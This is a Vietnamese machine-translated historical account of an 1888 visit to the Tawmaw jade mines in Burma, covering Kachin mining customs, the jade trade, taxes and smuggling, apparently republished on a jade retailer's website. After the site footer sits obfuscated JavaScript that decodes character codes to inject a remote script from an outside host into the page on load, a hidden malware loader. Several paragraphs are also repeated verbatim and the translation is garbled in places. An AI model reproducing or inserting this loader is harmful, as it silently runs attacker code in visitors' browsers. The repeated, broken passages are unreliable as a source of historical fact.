Những khiếm khuyết này đã không nhận ra đầy đủ trong năm đầu tiên khi các mỏ mới được mở. Sản lượng đá lớn và cạnh tranh sắc sảo. Cho đến nay, chỉ có đàn ông ở một số thủ đô mới có thể tham gia giao dịch thường xuyên. Không thể làm gì hơn là đoán giá trị của bất kỳ viên đá cũ nào, vì mỗi mảnh đều tự hoàn thiện và thường được bảo vệ bởi một viên nang dày bên ngoài có tác dụng che giấu màu sắc bên trong. Do đó, tất cả các mảnh đều có giá cao, vì bất kỳ mảnh nào có thể cắt đều chứng tỏ giá trị to lớn. Nhưng với việc mở các mỏ mới, đá không thể được mua thành từng mảnh với bất kỳ hình dạng và kích cỡ nào, và có thể bằng các quá trình rửa và giữ trong ánh sáng mạnh để xác định chính xác so với số lượng và tính chất của màu. Do đó, thương mại đã được đưa vào trong một số lượng lớn những người đàn ông trước đây không ở trong một vị trí để tham gia vào nó. Do đó, đã có một cơn sốt cho các mỏ mới vào năm 1881, và sự đầu cơ trong ngọc đạt đến một độ cao không đạt được trước đó. Những vận may lớn đã được tạo ra bởi những người có may mắn vứt bỏ đá của họ trước khi những khiếm khuyết của nó được phát hiện. Trong năm thứ hai, giá giảm mạnh, liên quan đến sự hủy hoại của hơn một trong những thương nhân ngọc lớn nhất. Những vận may lớn đã được tạo ra bởi những người có may mắn vứt bỏ đá của họ trước khi những khiếm khuyết của nó được phát hiện. Trong năm thứ hai, giá giảm mạnh, liên quan đến sự hủy hoại của hơn một trong những thương nhân ngọc lớn nhất. Những vận may lớn đã được tạo ra bởi những người có may mắn vứt bỏ đá của họ trước khi những khiếm khuyết của nó được phát hiện. Trong năm thứ hai, giá giảm mạnh, liên quan đến sự hủy hoại của hơn một trong những thương nhân ngọc lớn nhất.

Vào ngày 9 tháng 2 năm 1888, cột hành quân từ Sanka đến Tomo (Tawmaw), mỏ lớn nhất trong số đó, tất cả, cụ thể là Pangmo, Iku, Martiemmo và Mienmo, nằm ở khu vực lân cận. Con đường rộng, rất dốc ở những nơi, và sau vài dặm đầu tiên nó liên tục lên. Nó đã dẫn phần lớn qua khung cảnh rừng lớn, kanyin, gangaw và gỗ bông là những cây thịnh hành. Ở đây và có những vành đai hẹp của rừng tre đã được thông qua, nhưng sự phát triển quá mức là một quy tắc ít ỏi. Vào cuối bảy và một dặm rưỡi từ Sanka chúng nổi lên trên một cao nguyên rộng lớn, vài trăm mẫu đất ở còn tồn tại, toàn bộ trong số đó đã được giải phóng mặt cho các mục đích khai thác mỏ. Các cuộc khai quật, trong một số trường hợp có độ sâu đáng kể, trình bày sự xuất hiện chung của một loạt các mỏ đá vôi tại nhà. Mỏ đá lớn nhất đo được khoảng 50 yard chiều dài bằng 40 rộng và 20 sâu. Đáy đã ngập đến độ sâu vài feet. Đây là tài sản chung của 120 Kachin bằng cổ phần bằng nhau, một trong số đó được nắm giữ bởi Kansi Nawng, hiệu trưởngSawbwa của huyện. Không có công việc nào đang diễn ra, và chúng tôi không thấy mảnh ngọc nào có giá trị, tất cả những thứ đó có lẽ đã bị ẩn trước khi chúng tôi đến; nhưng quanh rìa các hố và dọc theo các lối đi đã nằm hàng tấn hàng tấn đá có giá trị ở Trung Quốc, nhưng không đủ giá trị để trả lại chi phí vận chuyển và các chi phí bằng cách này. Có một đám đông vài trăm người tại Tomo [Tawmaw] khi chúng tôi đến. Trong số họ tôi chỉ phát hiện ra ba người Trung Quốc, những người bày tỏ nhiều bất ngờ về việc chúng tôi đã được phép đến; phần còn lại là Shans và Kachins.

Người Kachin của xứ sở ngọc bích được người Trung Quốc mô tả là rất khác nhau trong việc bố trí các bộ lạc nhận thức cư trú giữa Bhamo và Vân Nam. Tuy nhiên, ở bề ngoài, sự tương đồng đã hoàn tất; và ngôn ngữ, Cha Cadeaux thông báo cho tôi, là giống hệt nhau. Nhưng, không giống như anh em họ của họ ở biên giới Bhamo, Kachin tại mỏ ngọc tự nhiên có khuynh hướng hòa bình và trung thực trong giao dịch với người lạ. Họ đối xử với tất cả các thương nhân với lòng tốt và sự cân nhắc tuyệt vời; và mặc dù số tiền, lên tới vài lakhs [một lakh = 100.000], thường được gửi từ Mogaung mà không có người bảo vệ, cướp, hoặc cố cướp, là một điều chưa biết. Họ có tiếng là người mê tín nhất trong tất cả các bộ lạc Kachin. Sự xa xôi của đất nước họ, sự hoang sơ của phong cảnh, bản chất kỳ dị của khí hậu, lành mạnh với họ nhưng gây chết người cho những người lạ, những trận động đất thường xuyên và những xáo trộn không khí dữ dội, dường như đã truyền cảm hứng cho họ một niềm tin sâu sắc hơn vào những sức mạnh vô hình và một ý định đọc để tham khảo ý kiến ​​của họ về các chủ đề tầm thường nhất. Trong các vấn đề quan trọng, chẳng hạn như phát hiện hoặc mở mỏ ngọc, hành động của họ hoàn toàn được xác định bởi những cân nhắc mê tín. Trong quá trình tìm kiếm đá, họ được hướng dẫn bởi các chỉ dẫn được trang bị bằng cách đốt tre; Khi nó được phát hiện, những điềm báo thuận lợi đang hồi hộp chờ đợi trước khi phát hiện này được công bố cho cộng đồng Kachin. Một cuộc họp sau đó được triệu tập bởi Sawbwa, và một lần nữa hy sinh và các phương pháp bói toán khác được sử dụng để xác định xem liệu mỏ có nên được làm việc ngay lập tức hay được phép không bị xáo trộn trong một thời gian nhiều năm cho đến khi màu sắc – như niềm tin của Kachin – đã đủ chín muồi. Nếu các dấu hiệu thuận lợi cho việc mở mỏ ngay lập tức, thì mảnh đất tại và xung quanh hòn đá nhô ra được đánh dấu bằng những sợi dây thừng thành những mảnh đất nhỏ rộng vài feet vuông, sau đó được phân chia cho tất cả những người Kachin có mặt.

Do đó, mặt đất được giao, các thương nhân được mời đến mỏ, và sau một nghi lễ phức tạp được tổ chức vào đầu mỗi mùa liên tiếp. Năm nay, sự hy sinh ở quy mô lớn bất thường, một sản lượng dồi dào được mong muốn để đáp ứng các đơn đặt hàng dự kiến ​​thay mặt Hoàng đế Trung Quốc, người sẽ kết hôn trong thời gian ngắn. Vào dịp hôn nhân của Hoàng đế Tungchih năm 1872, người ta nói rằng một khoản tiền lên tới bốn nghìn rupee đã được sử dụng tại Canton để mua ngọc để sử dụng trong buổi lễ, và một sự thúc đẩy lớn đã được trao cho việc buôn bán ngọc bích ở Miến Điện.

Người Kachins luôn tuyên bố độc quyền đào tại các mỏ. Tuy nhiên, thỉnh thoảng họ vẫn cho phép Shans hỗ trợ họ, và trong những ngày đầu, người Trung Quốc được phép làm một số mỏ đá tạm thời bị Kachins bỏ rơi. Tuy nhiên, người Trung Quốc nhận thấy lao động nghiêm trọng và kết quả không đạt yêu cầu, và họ đã có nhiều năm hài lòng với việc mua đá do Kachins mang lên bề mặt.

Mùa khai thác ngọc bắt đầu vào tháng 11 và kéo dài đến tháng 5, khi sự không lành mạnh của khí hậu [re: malaria] buộc tất cả các thương nhân phải rời đi và lũ lụt đình chỉ hoạt động tiếp theo của Kachins.

Lũ lụt ở các mỏ đá sâu nhất và năng suất cao nhất là khó khăn lớn nhất mà Kachins phải đối mặt, và họ đã dành nhiều công sức và tiền bạc để nghĩ ra những người viễn chinh, với thành công không quan tâm, để đáp ứng nó. Vào thời điểm chuyến thăm của chúng tôi, các cấu trúc tre được xây dựng công phu trên một số mỏ đá lớn nhất với mục đích cứu nước. Khi sàn của hố có thể được giữ khô trong vài giờ – và đây là quy tắc chỉ có thể xảy ra vào tháng Hai và tháng Ba – những đám cháy lớn được thắp sáng ở chân tảng đá. Một chiếc đồng hồ cẩn thận sau đó phải được giữ, trong một sức nóng khủng khiếp, để phát hiện các dấu hiệu tách đầu tiên. Khi những điều này xảy ra, Kachins ngay lập tức tấn công hòn đá bằng những cái cuốc và búa, hoặc tách các phần bằng cách kéo vào các lá cờ được chèn vào vết nứt. Tất cả điều này phải được thực hiện khi đá ở nhiệt độ cao nhất, và Kachin tự bảo vệ mình khỏi sức nóng dữ dội bằng cách buộc chặt các lớp lá chuối quanh các bộ phận của con người. Lao động được mô tả là cực kỳ nghiêm trọng và như chỉ có một Kachin sẽ thực hiện cho bất kỳ xem xét. Sức nóng là không thể chịu được, ngay cả đối với người xem ở đầu mỏ, và tỷ lệ tử vong trong số những người lao động thực tế là rất đáng kể mỗi mùa. Người Trung Quốc có một niềm vui độc hại khi nhắc nhở Kachin rằng trong những ngày đầu khi khai thác đá dễ dàng, quyền đào được ghen tị với người ngoài; và họ đảm bảo với họ rằng trong các điều kiện hiện tại, họ không cần phải sợ hãi về việc xâm phạm độc quyền của họ.

Đá được mua tại các mỏ bởi các thương nhân Trung Quốc. Tất cả các khoản thanh toán được thực hiện bằng rupee. Một chuyên gia, hoặc người trung gian, gần như luôn luôn được tuyển dụng để giải quyết giá cả. Những người trung gian, những người không có ngoại lệ Miến Điện hoặc Miến Điện-Shans, từ thời kỳ đầu không thể thiếu việc giao dịch kinh doanh tại các mỏ; họ tính phí người mua năm phần trăm trên tiền mua. Kansi Sawbwa thỉnh thoảng có một khoản hoa hồng tương tự để giải quyết giá cả giữa Kachins và Trung Quốc; và anh ta nhận được thêm những món quà rất có giá trị từ các thương nhân mong muốn hòa giải thiện chí của anh ta và đảm bảo lời đề nghị đầu tiên về đá mà anh ta có thể được sở hữu.

Ngọc đã được mua được mang theo bởi những người hâm mộ Shan và Kachin đến Namiakyaukseik (Nanyaseik), một chuyến đi dài một ngày từ Tomo. Chi phí vận chuyển hiện tại từ 5,5 đến 6,6 rupee tải 25 viss. Những viên đá quá lớn để một người đàn ông mang theo phải trả với tỷ lệ cao hơn nhiều, mười người được coi là tải trọng trong những trường hợp như vậy, và tất cả những người đàn ông tham gia đều được trả theo tỷ lệ này. Từ Namiakyaukseik số tiền thu được đá bởi đào-outs xuống một con suối nhỏ chảy vào sông Endaw số ba dặm dưới Sakaw, và từ đó con sông được theo sau để Mogaung. Việc vận chuyển một tải (25 viss) từ Namiakyakseik đến Mogaung có thể tốn khoảng nửa rupee.

Bên cạnh chi phí vận chuyển, hòn đá hiện tại phải trả một số khoản phí nhất định mà Kachins đã thu được tại các mỏ và trên đường xuống Mogaung. Vào thời Miến Điện, đó là phong tục của bất kỳ Kachin nào, đầu ra của mỏ đá của họ đặc biệt tốt, để mời người đứng đầu Sawbwa đến và chọn một mảnh cho chính mình. Ngoài ra, Sawbwatuyên bố không có quyền đối với ngọc được tìm thấy ở đất nước của mình, tất nhiên, ngoại trừ, như đã xảy ra trên tài sản riêng của mình. Tuy nhiên, bây giờ, kể từ khi rút Nhân viên Mỏ Miến Điện, Kansi Sawbwa đã thừa nhận và mở rộng một số quyền trước đây được thực thi bởi quan chức đó. Hiện tại, anh ta áp thuế từ 2,2-8-0 rupee cho mỗi tải ngọc rời khỏi đất nước anh ta. Khoản phí này đã bị đánh thuế ba năm trước, và là một sự đổi mới, nó đã hình thành chủ đề phản đối từ phía Trung Quốc, thay mặt cho Myookcủa Mogaung đã viết cho Kansi Sawbwa yêu cầu anh ta chuyển nó. Sawbwa đã đọc bức thư đã cắt nó thành từng mảnh bằng [dao] của mình để thể hiện sự khinh miệt trong đó anh ta giữ sự cộng hưởng. Tuy nhiên, việc thanh toán thuế này không được thực thi một cách cứng nhắc; những người giao dịch có thể nhận được sự nghèo khó, hoặc thân mật với Sawbwa hoặc các đại lý của anh ta, dễ dàng được giảm hoặc miễn trừ.

Tại Namiakyaukseik, hòn đá phải chịu thêm một khoản phí của Re.1 bởi Kachin Sawbwa , người cũng áp thuế Re.1 cho mỗi chiếc thuyền đi lên lạch; và trong vài tháng qua, một gia đình Kachin tại Pentu (PFi), giữa Kamein (Kamaing) và Mogaung, đã rào chắn dòng sông tại một điểm hẹp nơi họ phải đi thuyền.

Một số ngọc được gửi xuống sông Uru và Chindwin trên bè, và số lượng sẽ lớn hơn nếu không phải là ghềnh khiến việc điều hướng trở nên nguy hiểm. Hiện tại ít hoặc không có đá từ các mỏ mới [Tawmaw] đi theo tuyến đường này, vốn chỉ được sử dụng cho ngọc như vậy mà vẫn có thể được khai thác từ các mỏ cũ ở thung lũng dưới của Uru.

Một số ngọc, một lần nữa, được mang trực tiếp đến Trung Quốc, trốn tránh nhiệm vụ tại Mogaung. Do đó, tỷ lệ đá nhập lậu đã tăng đáng kể do mối quan hệ không may giữa thương nhân và người thuê ngọc. Nó có thể lên tới một phần tư của tổng sản lượng; trong những năm bình thường, nó có lẽ là một phần sáu. Nhưng xuất khẩu theo tuyến đường này không bao giờ có thể rất lớn, bởi vì (1) nhu cầu về đá không cắt ở Vân Nam hiện tương đối nhỏ, và (2) vận chuyển đường bộ trực tiếp từ mỏ đến Momien, trong trường hợp thông thường, nhiều hơn vận chuyển đến Momien qua Bhamo plusnhiệm vụ tại Mogaung. Giá cước vận chuyển đường bộ hiện tại từ Talawgyi đến Momien là 40 Rupee cho tải 25 viss. Cùng một lượng ngọc có thể được gửi từ Bhamo đến Momien với giá dưới 10 rupee. Tuy nhiên, một điều chắc chắn là một số hòn đá sẽ luôn được nhập lậu theo cách này cho đến khi có một trạm hải quan tại các mỏ. Những miếng ngọc nhỏ sở hữu giá trị tương đối cao sẽ tìm thấy con đường này thuận tiện; và hàng trăm Shans đến thăm Tomo mỗi mùa và trở về Trung Quốc trực tiếp sẽ không bị ngăn trở lại với họ nhiều như họ có thể mang theo một cách thuận tiện.

Các mỏ đá Tomo đã được làm việc trong bảy năm và đá không có nghĩa là cạn kiệt, mặc dù công sức khai thác nó từ các hố sâu hơn hầu như không được trả bởi giá thực hiện. Ở khu vực gần kề Tomo, nguồn cung ngọc đang bắt đầu thất bại. Năm ngoái, trong số bốn mươi bốn cuộc khai quật chỉ có ba lần mang lại đá tốt; và bây giờ tôi nghe nói rằng trong tháng vừa qua, ba mươi bảy hố mới đã được đào, ngọc bích trong mọi trường hợp đã được chứng minh là vô giá trị. Kết quả không đạt yêu cầu này được cho là do chuyến thăm gần đây của quân đội nước ngoài. Nhưng nó tự tin khẳng định rằng nhiều mỏ đá mới được biết đến với Kachins và sẽ được tiết lộ vào đúng mùa. Việc cung cấp đã không thất bại trong một thế kỷ,

Nhu cầu về ngọc là phổ biến trên khắp Trung Quốc, và giá của loại đá tốt nhất cho thấy không có xu hướng giảm. Miến Điện thực tế là nguồn cung cấp duy nhất và dường như không có lý do gì để nghĩ rằng nguồn cung có khả năng thiếu hụt nhu cầu. Xem xét khu vực rộng lớn mà đá jadstone lúc này hay lúc khác được phát hiện, bản chất không thể chiến đấu của đất nước, bao phủ phần lớn với rừng rậm dày đặc, và đặc điểm thô sơ của triển vọng, trong đó chỉ đơn thuần là kiểm tra những viên đá nhô ra lớn và rõ ràng, có thể là cho đến nay, viên ngọc bích đã phát hiện ra một tỷ lệ rất nhỏ mà vẫn bị che giấu. Do đó, có khả năng là ở đất nước ngọc bích, Chính phủ của chúng ta có một nguồn thu có khả năng phát triển đáng kể. Đưa ra khỏi tầm nhìn xác suất của những khám phá về ngọc trong tương lai, không có nghi ngờ rằng doanh thu từ các mỏ hiện tại có thể được cải thiện nhiều nếu có thể truy cập miễn phí vào đất nước. Sự ra đời của các thiết bị châu Âu, sẽ thay thế phương pháp làm việc gây hại hiện nay, sẽ làm tăng giá trị đáng kể của sản lượng, một phần tốt trong đó hiện đang bị nung nóng bởi tác động của nhiệt. Và việc buôn lậu đá trên đất liền sang Trung Quốc đồng thời sẽ được ngăn chặn một cách hiệu quả. Sự ra đời của các thiết bị châu Âu, sẽ thay thế phương pháp làm việc gây hại hiện nay, sẽ làm tăng giá trị đáng kể của sản lượng, một phần tốt trong đó hiện đang bị nung nóng bởi tác động của nhiệt. Và việc buôn lậu đá trên đất liền sang Trung Quốc đồng thời sẽ được ngăn chặn một cách hiệu quả. Sự ra đời của các thiết bị châu Âu, sẽ thay thế phương pháp làm việc gây hại hiện nay, sẽ làm tăng giá trị đáng kể của sản lượng, một phần tốt trong đó hiện đang bị nung nóng bởi tác động của nhiệt. Và việc buôn lậu đá trên đất liền sang Trung Quốc đồng thời sẽ được ngăn chặn một cách hiệu quả.

Nhưng một sự phản đối mạnh mẽ từ Kachins phải được dự kiến ​​đối với bất kỳ sự đổi mới nào được đề xuất bởi chính phủ của chúng tôi. Sự giàu có và ảnh hưởng của Kansi Sawbwa đã tăng lên rất nhiều kể từ khi khai thác mỏ đá Tomo [Tawmaw]. Ngay cả trước khi Anh sáp nhập Thượng Miến Điện, ông đã bắt đầu tỏ ra thiếu kiên nhẫn trong các chuyến thăm hàng năm của quan chức Miến Điện Miến Điện tới đất nước của mình; và anh ta đã không còn hộ tống nhân viên đó từ Mogaung và để anh ta giải trí trong thời gian ở trên đồi. Trong sáu năm qua, anh ta hoàn toàn không bị giám sát và kiểm soát, và anh ta đã đến, không phải tự nhiên, coi mình như một thủ lĩnh độc lập. Không thể chấp nhận được rằng anh ta sẽ kết nạp một đơn vị đồn trú của Anh vào đất nước của anh ta mà không có nỗ lực kháng cự. Đúng là anh ấy đã không phản đối chuyến thăm gần đây của cột Mogaung. Nhưng điều đáng nghi ngờ là đến giây phút cuối cùng liệu anh ta sẽ có một đường dây thân thiện hay thù địch, và ai cũng biết rằng một số tù trưởng được tập hợp đã ủng hộ việc chống lại tiến trình của cột. Có lẽ sự đảm bảo được chuyển đến Sawbwa rằng không có sự can thiệp nào đối với các quyền của anh ta và rằng cột sẽ trở lại ngay sau khi đến thăm các mỏ, có ảnh hưởng lớn nhất đến quyết định của anh ta.

Xem thêm tại Jade House Việt Nam (www.jadehousevn.com) để cập những bài viết hữu ích!

Xem thêm:

Giá trị cốt lõi của Jade House

Sứ mệnh của Jade House

Tu tập cùng Jade House

Trải nghiệm cẩm thạch

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();